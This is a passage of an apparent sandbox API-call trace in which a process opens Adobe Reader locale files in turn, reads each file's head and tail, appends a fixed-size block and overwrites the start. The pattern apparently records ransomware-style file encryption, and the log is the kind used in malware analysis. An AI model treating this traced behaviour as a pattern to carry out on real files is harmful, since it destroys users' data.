lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.361] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x12200 [0039.361] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.362] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.362] ReleaseMutex (hMutex=0x128) returned 1 [0039.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.NOR", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0039.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.NOR", cchWideChar=18, lpMultiByteStr=0x1e78974, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.NOR", lpUsedDefaultChar=0x0) returned 18 [0039.362] ReadFile (in: hFile=0x168, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.367] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x11200 [0039.367] ReadFile (in: hFile=0x168, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.449] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x11200 [0039.450] WriteFile (in: hFile=0x168, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.450] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.450] WriteFile (in: hFile=0x168, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.450] CloseHandle (hObject=0x168) returned 1 [0039.450] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0039.451] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.451] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x8b6b [0039.451] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.451] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.451] ReleaseMutex (hMutex=0x128) returned 1 [0039.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0039.451] ReadFile (in: hFile=0x168, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.460] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x7b6b [0039.460] ReadFile (in: hFile=0x168, lpBuffer=0x2768028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2768028*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.460] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x7b6b [0039.460] WriteFile (in: hFile=0x168, lpBuffer=0x2771388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.461] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.461] WriteFile (in: hFile=0x168, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.461] CloseHandle (hObject=0x168) returned 1 [0039.461] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Checkers.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\checkers.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0039.462] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.462] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1f400 [0039.462] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.462] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.462] ReleaseMutex (hMutex=0x128) returned 1 [0039.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.NLD", cchWideChar=12, lpMultiByteStr=0x1e6320c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.NLD", lpUsedDefaultChar=0x0) returned 12 [0039.462] ReadFile (in: hFile=0x168, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.468] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1e400 [0039.468] ReadFile (in: hFile=0x168, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.477] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1e400 [0039.477] WriteFile (in: hFile=0x168, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.477] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.477] WriteFile (in: hFile=0x168, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.477] CloseHandle (hObject=0x168) returned 1 [0039.477] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\RdLang32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\rdlang32.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0039.478] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.478] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x155c00 [0039.478] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.478] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.478] ReleaseMutex (hMutex=0x128) returned 1 [0039.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.NLD", cchWideChar=12, lpMultiByteStr=0x1e6306c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.NLD", lpUsedDefaultChar=0x0) returned 12 [0039.478] ReadFile (in: hFile=0x168, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0039.490] ReadFile (in: hFile=0x168, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.495] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x154c00 [0039.496] ReadFile (in: hFile=0x168, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.501] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x154c00 [0039.501] WriteFile (in: hFile=0x168, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.501] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.502] WriteFile (in: hFile=0x168, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0039.502] WriteFile (in: hFile=0x168, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.502] CloseHandle (hObject=0x168) returned 1 [0039.516] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Weblink.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\weblink.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.517] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.517] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x7000 [0039.517] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.517] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.517] ReleaseMutex (hMutex=0x128) returned 1 [0039.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.517] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.NLD", cchWideChar=11, lpMultiByteStr=0x1e6322c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.NLD", lpUsedDefaultChar=0x0) returned 11 [0039.517] ReadFile (in: hFile=0x1ac, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.524] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x6000 [0039.525] ReadFile (in: hFile=0x1ac, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.525] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x6000 [0039.525] WriteFile (in: hFile=0x1ac, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.525] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.526] WriteFile (in: hFile=0x1ac, lpBuffer=0x2771388*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.526] CloseHandle (hObject=0x1ac) returned 1 [0039.526] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\EScript.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\escript.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.526] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.526] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xa000 [0039.526] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.526] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.526] ReleaseMutex (hMutex=0x128) returned 1 [0039.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.POL", cchWideChar=11, lpMultiByteStr=0x1e6302c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.POL", lpUsedDefaultChar=0x0) returned 11 [0039.526] ReadFile (in: hFile=0x1ac, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.534] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x9000 [0039.535] ReadFile (in: hFile=0x1ac, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.539] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x9000 [0039.539] WriteFile (in: hFile=0x1ac, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.540] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.540] WriteFile (in: hFile=0x1ac, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.540] CloseHandle (hObject=0x1ac) returned 1 [0039.540] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Search.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\search.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.540] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.540] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x5e00 [0039.540] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.540] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.540] ReleaseMutex (hMutex=0x128) returned 1 [0039.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.POL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.POL", cchWideChar=10, lpMultiByteStr=0x1e6338c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.POL", lpUsedDefaultChar=0x0) returned 10 [0039.540] ReadFile (in: hFile=0x1ac, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.553] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x4e00 [0039.553] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.560] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x4e00 [0039.560] WriteFile (in: hFile=0x1ac, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.561] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.561] WriteFile (in: hFile=0x1ac, lpBuffer=0x2771388*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.561] CloseHandle (hObject=0x1ac) returned 1 [0039.561] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Annots.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\annots.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.561] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.561] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x79e00 [0039.561] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.561] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.561] ReleaseMutex (hMutex=0x128) returned 1 [0039.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.PTB", cchWideChar=10, lpMultiByteStr=0x1e6342c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.PTB", lpUsedDefaultChar=0x0) returned 10 [0039.562] ReadFile (in: hFile=0x1ac, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.575] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x78e00 [0039.575] ReadFile (in: hFile=0x1ac, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.582] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x78e00 [0039.582] WriteFile (in: hFile=0x1ac, lpBuffer=0x2736c68*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: 